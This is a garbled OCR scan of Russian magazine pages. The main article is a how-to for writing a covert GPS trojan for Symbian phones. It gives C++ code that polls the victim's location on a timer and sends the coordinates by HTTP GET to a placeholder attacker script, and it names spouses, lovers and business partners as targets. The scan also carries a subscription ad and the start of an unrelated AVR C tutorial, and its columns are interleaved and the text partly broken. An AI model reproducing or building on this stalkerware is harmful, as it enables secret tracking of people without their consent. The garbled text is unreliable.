Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
16.73 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

coding

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ДМИТРИЙ ТАРАСОВ

/ ROOT@DTARASOV.RU / ПРИМЕРНО ТАК ВЫГЛЯДИТ РЕЗУЛЬТАТ РАБОТЫ НАШЕЙ ПРОГРАММЫ

++++GLOBAL

++++POSITIONINGTROJAN

++++Следимзаместоположениемжертвпродвинутоготелефона

++++Вмартовскомzмыподробнорассмотрелиразновидностинаиболее

++++

++++

востребованныхтрояновдлямобильныхустройствподуправлением операционнойсистемыSymbian, атакжепроцесссозданияодногоиз них. Функционалзаключалсявсливаниибабласосчетапользователя. Предлагаюпродолжитьраскрытиетемы, познакомившисьспроцессомсозданиязловредовновогопоколения!

++ ++

++++

++++

++++

ЧТОПИШЕМ?

В предыдущем материале я писал, что наиболее ходовые разновидности шпионского ПО для мобильников — это перехватчики sms и программы, отправляющие Premium SMS на короткие номера. Во всяком случае, подобное ПО пользуется устойчивым спросом уже пару лет. Технологии не стоят на месте, и с развитием спутниковых систем и всеобщего возбуждения на этой почве все больше и больше смартфонов оснащаются GPS-приемниками. Было бы странно, если бы создатели вредоносного ПО не воспользовались этой возможностью (с целью

создания продвинутых шпионов, в реальном времени сливающих информацию о местонахождении конкретного пользователя мобильного телефона). Сразу отмечу, что описываемый здесь функционал будет работать только на устройствах под управлением S60 и оснащенных полноценными GPS-приемниками. Методы определения местоположения по базовым станциям и точкам Wi-Fi на данный момент не могут быть использованы для определения более-менее точных координат, поэтому мы их не рассматриваем. Но чем дальше, тем больше моделей оказываются оснащены

полноценным приемником. Поэтому потенциальный охват поддерживаемых аппаратов внушает оптимизм троянописателям и пессимизм обычным пользователям. Итак, наша задача — разработать программу, незаметно для жертвы отправляющую данные о ее местоположении на сервер. Дальше данные обрабатываются и отображаются на карте тем или иным образом, в зависимости от выбранного картографического сервиса. Кстати, можно было бы реализовать банальную отправку координат (долго-

ты и широты) посредством SMS, но тогда пользователю трояна пришлось бы ручками

++++

100

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> coding

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

вводить их в картографическом сервисе,

хорошаяпрактикаразработкикакподsymbian,

дляполучениякоординат. Крометого, объект

чтобы определить точку на карте. Это не

такиподлюбуюобъектно-ориентированную

классаRPositioner содержитинформациюо

очень удобно.

систему. Посколькуосновнаялогикаработы

 

 

последнейполученнойпозиции, атакже— о

ЗАЧЕМЭТОВООБЩЕ

программыунассодержитсявклассеAppUi,

частотеопросаGPS-приемника.

то, темсамым, мыосвобождаемегоконструк-

• TPositionInfo — структура, содержащуюпол-

НУЖНО?

торидеструктороткровавогомесивакода,

 

 

нуюинформацию, полученнуюотспутников.

ПрелестьподобногошпионскогоПОвтом, что

отвечающегозаинициализациюинастройку

• TPosition –структура, содержащаяинфор-

 

 

 

 

 

 

Save

потенциальнаяцелеваяаудиторияпокрывает

тайминга. Дляобработкисобытиятикатайме-

мациюокоординатахустройства(долгота,

нетолькоревнивыхмужейинедобросо-

ранеобходимоунаследоватьAppUi откласса

широта, высота, скоростьит.д.) искоростиего

вестныхделовыхпартнеров(каквслучаес

MTimeOutNotifier (смотризаголовочныйфайл

передвижения.

sms-шпионами), нои, кпримеру, заботливых

Timer.h). Такмыпокажем, чтоAppUi — этотот

Болеедетальноеописаниеклассовможно(и

мамаш, желающихубедиться, чтоихдитя

самыйобсервер, которыйсодержитметод, вы-

нужно) посмотретьвSDK. Еслиобобщить, то

утромидетвшколу, анебухать«ягуар» в

зываемыйприсрабатываниитика.

 

 

кодупомянутогометодаGetPosition можетвы-

подъездспацанами. Подобныйсофтможет

 

 

 

 

 

 

 

 

глядетьпримернотак:

 

 

 

 

CGpsTroyAppUi : public

 

 

Annotation

использоватьсяивкачестветрекера— напри-

class

 

 

Show

 

 

Open Image

 

 

 

 

 

 

 

 

 

мер, хозяин«Бентли» можетвыдатьшоферу

MTimeOutNotifier

 

 

 

User::LeaveIfError(

корпоративнуюмобилуиотслеживатьмаршрут

{

 

 

 

 

 

 

 

iPositionServer.Connect());

передвижения. Конечно, нарынкеприсутству-

 

 

 

 

 

 

 

User::LeaveIfError(iPositioner.

 

 

 

 

 

 

Tools

 

file

 

 

 

 

 

 

 

 

 

юттрекинговыесервисы, ноиспользуемыетам

public: // from MTimeOutNotifier

 

 

Open(iPositionServer));

 

приложенияскрыватьсянеобученыипотому

 

void TimerExpiredL(); //метод,

 

 

User::LeaveIfError(

 

заметнывсистеме.

вызываемый

при тике таймера

 

 

iPositioner.SetRequestor(

 

РЕАЛИЗАЦИЯПРОГРАММЫ

 

 

 

 

My

 

CRequestor::ERequestorService,

 

private:

 

 

CRequestor::EFormatApplication,

С

Image

 

 

 

 

Favorite

точкизренияфункционалаприложения,

 

CGpsTroyTimer* iTimer;

//ñîá-

 

 

KRequestor));

 

очевиднытриосновныесоставляющие:

ственно, объект таймера

 

 

 

 

Функционалсокрытияпрограммывсистеме;

 

 

 

 

 

 

 

TPositionUpdateOptions

 

border

 

 

 

 

 

 

Macro

Функционалопределениякоординат;

}

 

 

 

 

 

 

 

updateOptions;

Функционалотправкикоординатнасервер.

 

 

 

 

 

 

 

 

updateOptions.SetUpdateInterval(

 

Первыйпунктмыужеосвещали, мягкоговоря,

ТеперьвконструктореCGpsTroyAppUi необхо-

KUpdateInterval);

неоднократно. Ярекомендуюознакомитьсясо

димолишьсоздатьтаймер:

 

 

 

updateOptions.SetUpdateTimeOut(

статьей«Зло-кодингподSymbian» вмартов-

 

 

 

 

 

 

 

 

KUpdateTimeout);

скомномереz, — тамэтотпроцессподробнои

iTimer = CUniTelTimer::NewL(

 

 

User::LeaveIfError(

доступноописан. Амытемвременемсосредо-

 

EPriorityStandard, *this);

 

 

iPositioner.SetUpdateOptions(

точимсянадвухоставшихсякомпонентах.

iTimer->After(KTimeOut);

 

 

 

updateOptions));

ФУНКЦИОНАЛ

 

 

 

 

 

 

 

 

Cancel();

– иреализоватьметодTimerExpired() пример-

iPositioner.NotifyPositionUpdate(

ОПРЕДЕЛЕНИЯКООРДИНАТ

носледующимобразом:

 

 

 

iPositionInfo,iStatus);

Собственнофункционалопределениякоор-

 

 

 

 

 

 

 

 

SetActive();

динатпредельнопрост— важноопределиться

void CGpsTroyAppUi::TimerExpiredL()

 

 

лишьслогикойихполученияиотправки. Для

{

 

 

 

 

 

 

 

Объяснятьнечего— кодсмеломожноотнести

ясностиизложенияяпредполагаю, чтотыуже

 

GetPosition();

 

 

 

ксамодокументированным. Обративнимание,

знакомсосновамипрограммированияпод

 

iTimer->After(KTimeOut);

 

 

чтозапроснаполучениекоординатможетвы-

Symbian, умеешьиспользоватьактивныеобъ-

}

 

 

 

 

 

 

 

полнятьсядовольнодолго, поэтомузапускает-

ектыиможешьсоздать, например, простей-

 

 

 

 

 

 

 

 

сянавыполнениеасинхронно. Этозначит, что

 

 

 

 

 

 

 

 

шийтаймер. Чтокасаетсялогикизловреда,

ЗдесьмывыполнилиметодGetPosition(),

 

 

классCGpsTroyAppUi необходимоунаследо-

опятьже, дляпростоты, япредлагаюреализо-

отвечающийзаопределениекоординат

 

 

ватьотCActive иреализоватьметодRunL().

ватьфункционалпериодическогоопределе-

устройства, изановозапустилитаймер, чтобы

Именноонбудетвыполнятьсяприполучении

ниятекущихкоординатустройстваиотправки

обеспечитьпериодичностьопределения

 

 

координат.

ихнасервер.

местоположения.

 

 

 

 

ДляреализациипериодикиопросаGPS-

Перейдемкфункционалуопределения

 

 

void CGpsTroyAppUi::RunL()

приемникаиспользуетсяоберткавокруг

координат. Дляэтогонампонадобитсяис-

 

 

{

стандартногосимбиановскогоклассаCTimer.

пользоватьобъектыклассовRPositionServer,

switch(iStatus.Int())

Посути, этокласс, унаследованныйотCTimer

RPositioner, TPositionInfo иTPosition. Рассмот-

{

исодержащийвсвоемконструкторевсе

римкаждыйизнихчутьподробнее:

 

 

case KErrNone:

необходимыедействияпоинициализациии

• RPositionServer — основнойинтерфейс

 

 

{

настройкетаймера. Такжечленомоберточного

кLocation Server. Всвоюочередь, Location

 

 

//координаты успешно получены

классаявляетсяссылканаобъектобсервера

Server — этотакойпроцесс, которыйот-

 

 

TPosition position;

(Observer), которыйответственензавыпол-

вечаетзаобработкуклиентскихобращений

 

 

iPositionInfo.GetPosition(

нениедействийпособытиюсрабатывания

приложенийкбазовойфункциональности

 

 

position);

таймера. ПолныйкодклассаCGpsTroyTimer

GPS-приемника. RPositionServer служитдля

TInt latitude =

находитсянанашемдиске. Здесьмыегоне

установкисоединениясLocation Server ипо-

position.Latitude();

будемприводить, посколькуондовольнотри-

лучениясоответствующегохэндларесурса.

 

 

//получаем широту

виален. Кстати, созданиеподобныхоберточ-

• RPositioner — открываетсубсессиюк

 

 

TInt longitude =

ныхклассовнадстандартнымисистемными—

Location Server, котораяужеиспользуется

 

 

position.Longitude();

 

 

 

 

 

 

 

 

 

 

 

XÀÊÅÐ 07 /127/ 09

101

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

++++ BUY

>>m

 

 

 

 

 

coding

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

++++

++++

++++

++++

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

++++

++++

++++

++++

++++

++++

++++

++++

++++

++ ++

++++

++++

++++

ПРОТРОЯНЕННЫЙЧЛЕНX-CREW ВПОЛНЕМОГБЫ ДА, ЯХОЧУРАЗРАБАТЫВАТЬМОБИЛЬНЫЕПРИЛОВЫДАТЬМЕСТОПОЛОЖЕНИЕНАШЕЙРЕДАКЦИИ:) ЖЕНИЯ

//получаем долготу SendCoordinateL(latitude,longitude); //отправляем данные

break;

}

default:

//координаты не получены, пробуем снова iPositioner.NotifyPositionUpdate(

iPositionInfo,iStatus);

SetActive(); break;

}

}

ЗдесьвслучаеуспешногозавершенияоперациимыотправляемданныенасерверпосредствомфункцииSendCoordinateL(int,int).

ФУНКЦИОНАЛ ОТПРАВКИ КООРДИНАТНАСЕРВЕР

Вкакомвидеотправлятьданныенасервер? Этозависитотконкретнойреализациисервернойчасти, агрегирующейданныеотмобилыи отображающейихпользователю/злоумышленнику. Посколькусамое очевидноерешение— использоватьGoogle Maps API, учти, чтона серверенамнеобходимореализоватьвеб-приложение, котороечерезJavaScript взаимодействуетсGoogle Maps, передаеткоординаты точкииотображаеткартинкуснарисованнымфлажкомнакарте. ИнтерфейсадлянепосредственногодоступакGoogle Maps смобилынет, нужнореализоватьнекоепромежуточноезвено, передающеекоор- динатыотмобилыквеб-приложению. Тутможнодатьволюфантазии иреализоватькаксложнуюсервернуючасть(демон, слушающийна определенномпортуданныеотсмартфона), такипростенькийскрипт наphp, обрабатывающийбанальныеpost- илидажеget-данные. Как непрофессионалввеб-программировании, ябывыбралвариант обычногообращениямобилыкудаленномускриптупоссылкевида http://yourhost.ru/scripts/troy.php?longitude=xxx&latitude=yyy. А

далее— полученныекоординатыобрабатываемскриптамииделаем сними, чтохотим. Кстати, аналогичныйGoogle Maps сервисстали предоставлятьЯндексидажеNokia, поэтомуопределеннаясвобода выбораесть, иреализациясервернойчасти— делотехники. Небудем подробнокасатьсяздесьаспектовееразработки, ибоэтотема, как минимум, дляотдельнойстатьи.

Сосредоточимся на механизме отправки данных на сервер посредством HTTP over TCP. На диске к журналу находятся исходники класса CHTTPEngine, реализующего функционал GET- и POSTзапросов. Как и в случае с CTroyTimer, он содержит переменнуючлен, являющуюся ссылкой на объект-обсервер событий, которым снова стал CGpsTroyAppUi, наследуемый от MHTTPEngineObserver и

получающий методы, вызываемые при получении ответа от сер-

вера и завершения запроса. Кстати, CHTTPEngine — это готовый к использованию универсальный и хорошо зарекомендовавший себя движок http!

CHTTPEngine наследуетсяотклассаMHTTPTransactionCallback. Тот задаетемусвойствакласса, относящегосякактивнымобъектам, расширяястандартнуюфункциональностьCActive. Крометого, механизм инициализацииCHTTPEngine схожсфункционаломопределениякоординатвпланетого, чтоописываетсятемжезакономклиент-серверного взаимодействиявнутриОС: сначаласоздаетсясессиякCommunication Server, потомеехэндлиспользуетсядляужереальногообращенияк comm server’уивыполнениянеобходимойработы.

Сучетомописаннойнамидовольнообщейконцепциипередачиданных насерверреальныймеханизмотправкикоординатыможетвыглядеть примернотак:

void CGpsTroyAppUi::SendCoordinateL (Tint latitude,Tint longitude)

{

CHTTPEngine* httpEngine = CHHTPEngine::NewL(this); TBuf<64> url(_L

("http://host/troysctipt.php?longitude="));

url.AppendNum(latitude); url.Append(_L("&latitude=")); url.AppendNum(longitude); httpEngine->GetRequestL(url);

}

Все, данныеотправлены.

Естественно, здесьмынерассмотрелиподробномеханизмреализации движка, ялишьпоказалобщуюконцепцию. Поэтому, какивлюбойзадачипоразработкеподSymbian, тебепридетсяпочитатьдокументацию ипосмотретьпримерсдиска.

ЗАКЛЮЧЕНИЕ

ЭтаконцепциясозданияGPS-трояна, безсомнения, оставляетопределенныйтворческийпростор. Мынесталиспециальнорассматривать архитектурувзаимодействиямобильногоприложенияисервера, посколькутутвозможнамассавариантов: конкретнаяреализацияво многомзависитотцелогорядафакторов. Чтокасаетсяреальногоприменения, тоавторуприходилосьвстречатьслучаи, когдаподобныйсофт устанавливалсякаклюбовницам, такиделовымпартнерам. Нохотя определеннаятенденциякраспространениюпрослеживается, вочереднойразнапоминаем, чтоэтоможетпривестикдовольнопечальным последствиям. СозданиевредоносногоПОнетольконепропагандируетсянашейстатьей, нодажеинеописывается! Самподумай, чтожтакого, — изучиливзаимодействиесGPS, координатыполучатьнаучились; какотправлять— снекоторойнатяжкойразобрались. Аужкаквсеэти знанияприменитьнапрактике— теберешать. Удачи!z

++++

102

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

df-xchan

d

 

 

F

 

ПОДПИСКА

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

В РЕДАКЦИИdf-x chan

 

t

 

 

F

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

+

ГОДОВАЯ ПОДПИСКА ПО ЦЕНЕ

2100 руб.

(на 15% дешевле чем

 

при покупке в розницу)

Единая цена по всей России. Доставка за счет издателя, в том числе курьером по Москве в пределах МКАД

ВНИМАНИЕ! ВТОРОЕ СПЕЦПРЕДЛОЖЕНИЕ!

Приподпискенакомплектжурналов

ЖЕЛЕЗО+ ХАКЕР+ DVD:

- Одинномервсегоза155 рублей(на25% дешевле, чемврозницу)

ÇÀ 12 ÌÅÑЯÖÅÂ

ÇÀ 6 ÌÅÑЯÖÅÂ

3720

2100

ðóá

ðóá

Подписка на журнал «ХАКЕР+DVD» на 6 месяцев стоит 1200 руб.

ВЫГОДАГАРАНТИЯСЕРВИС

КАК ОФОРМИТЬ ЗАКАЗ

1. Разборчиво заполните подписной купон и квитанцию, вырезав

их из журнала, сделав ксерокопию или распечатав с сайта www.

glc.ru.

2. Оплатите подписку через Сбербанк .

3. Вышлите в редакцию копию подписных документов — купона и

квитанции — любым из нижеперечисленных способов:

по электронной почте subscribe@glc.ru;

по факсу 8 (495) 780-88-24;

по адресу 119021, Москва,

ул. Тимура Фрунзе, д. 11, стр. 44,

ООО «Гейм Лэнд», отдел подписки.

ВНИМАНИЕ!

Подпискаоформляетсявденьобработкикупонаиквитанциивредакции:

в течение пяти рабочих дней после отправки подписных документов в

редакцию по факсу или электронной почте;

в течение 20 рабочих дней после отправки подписных документов по

почтовому адресу редакции.

Рекомендуем использовать факс или электронную почту, в последнем

случае предварительно отсканировав или сфотографировав документы.

Подписка оформляется с номера, выходящего через один кален-

дарный месяц после оплаты. Например, если вы производите оплату в апреле, то журнал будете получать с июня.

По всем вопросам, связанным с подпиской, звоните по бесплатным телефонам 8(495)780-88-29 (для москвичей)

и8(800)200-3-999 (для жителей других регионов России, абонентов сетей МТС, БиЛайн и Мегафон). Вопросы

оподписке можно также направлять по адресу info@glc.ru или прояснить на сайте www.GLC.ru

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

phreaking

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

АЛЕКСЕЙ «CLUSTER» АВДЮХИН / CLUSTERRR@CLUSTERRR.COM /

ВЫСОКИЙУРОВЕНЬ ПРОГРАММИРОВАНИЯ

ПишемнаСиподAVR

Программистымикроконтроллероввсегдаделилисьнатех, ктопишет наассемблере, итех, ктопредпочитаетвысокоуровневыеязыкипрограммирования. Обегруппыготовыбесконечнодоказывать, чтоих языклучше. Икаждаяправапо-своему. Ассемблеробычноиспользуютпрофессионалы, которыедавнознакомысмикроконтроллерами. Нозачемучитьязыктем, ктотольконачинаетосваиватьновуюархитектуру? Ярасскажу, какпрограммироватьнаСиподмикроконтрол-

лерыAVR.

>> phreaking

ВЫБОРКОМПИЛЯТОРА

СуществуетнесколькокомпиляторовСиподAVR, включаяофициальныйотAtmel. ЯпредпочитаюиспользоватьWinAVR (произносится, как «whenever»). Этотпакетпредставляетнаборбесплатныхутилитпод винду, включаякомпиляторAVR-GCC, консольныйотладчикидажесофт дляпрошивки, которыйумеетработатьссамымиразнымипрограмматорами. ДалееябудурассматриватьименноWinAVR, поэтомурекомендую установитьего. Домашняястраничкапроектанаходитсяпоадресу: http://winavr.sourceforge.net, нотыможешьвзятьсвежуюверсиюна нашемдиске. Обративнимание, чтопочтивсеутилитывэтомпакете консольные. ЕслитыужезнакомсGCC, тотебенепривыкать. Можно использоватьдлянегосоответствующуюоболочку-редактор. Именно длятакихцелейвкомплектеидетProgrammer’s Notepad. Яжепредпочитаюписатькодвобычномтекстовомредактореикомпилироватьего командой«make». Этоделовкусаипривычки.

РЕГИСТРЫ, РЕГИСТРЫ, РЕГИСТРЫ...

НеоспоримоепреимуществоСивпереносимости. Одинитотжекод зачастуюможнолегкоскомпилироватьподразныеплатформы. Однако программенужнокак-товзаимодействоватьсвнешниммиром, которым являетсяоперационнаясистемаилиаппаратнаячасть. Вслучаес софтомподWindows и*nix дляэтогоиспользуютсявызовысистемных функций. Вмикроконтроллерахженетоперационнойсистемы, имы будемнапрямуювзаимодействоватьсжелезом. Делаетсяэтоспомощью

регистров, которые, посути, являютсяячейкамивпамятимикроконтроллера. Так, еслитыхочешьработатьсмодулямимикроконтроллера, будьтотаймеры, компараторы, USART илипростоноги, тебепридется писатьданныеврегистры. Этимяхочусказать, чтоеслитыужесейчас безпроблемкодишьнаСи, тоединственное, чтотебеосталосьизучить

— эторегистрымикроконтроллера. УкаждойАВРкионисвои. Cписоки подробноеописаниетысможешьнайтивсоответствующемдаташите. Однакобазовыепринципыдлякаждоймоделиоченьпохожи. Давайрассмотримосновныерегистры, скоторымиты, наверняка, будешьиграться впервуюочередь: DDRx, PORTx иPINx. Отвечаютонинепосредственно зауправлениеногамимикроконтроллера.

Немногопояснюдлятех, ктоневтеме. ВкаждойАВРкевсеногиделятся напорты, которыеобозначаютсялатинскимибуквамиA, B, C ит.д. Каждыйможетсодержатьдовосьминог, которыеномеруютсяцифрамиот0 до7. Скачайдаташитксвоемумикроконтроллеру. Напервыхстраницах тынайдешьрисуноксраспиновкой, гдеподписано, какаяногазачто отвечает. ОбративниманиенанадписитипаPB0, PC1 ит.п. Именноони указываютбуквупортаиномерноги. Например, строка«PA7» означает, чтомыимеемделосседьмойногойнапортуA. Существуетнабор регистровDDRx, PORTx иPINx, которыеукаждогопортасвои. Соответственно, вместо«x» нужноподставитьсоответствующуюбукву. Например, дляуправленияпортом«B» используютсярегистрыDDRB, PORTB и PINB. Каждыйизнихразмеромвсегов1 байт. Нетруднодогадаться, что каждыйбитприэтомотвечаетзасоответствующуюногу.

104

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

phreakingw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

«ПИШЕМНАСИПОДAVR»

УСТРОЙСТВОСДИСПЛЕЕМВДЕЙСТВИИ

Итак, DDRx регистрыопределяютнаправлениеданных— вводиливывод. PORTx позволяютзадатьсостояниеноги— логическаяединицаили логическийноль, атакжевключатьподтягивающийрезистор. Регистры PINx рассчитанытольконачтениеипозволяютопределитьуровеньна ноге, когдаонаработаетнаввод.

Ну, хватитнуднойтеории. Рекомендуювнимательнопочитатьдаташиты, апокаразберемпростейшийпример:

Моргаемсветодиодом

#define F_CPU 8000000UL #include <avr/io.h> #include <util/delay.h> int main (void)

{

DDRB |= (1 << 2); while (1)

{

PORTB |= (1 << 2); _delay_ms(100); PORTB &= ~(1 << 2); _delay_ms(100);

}

return 0;
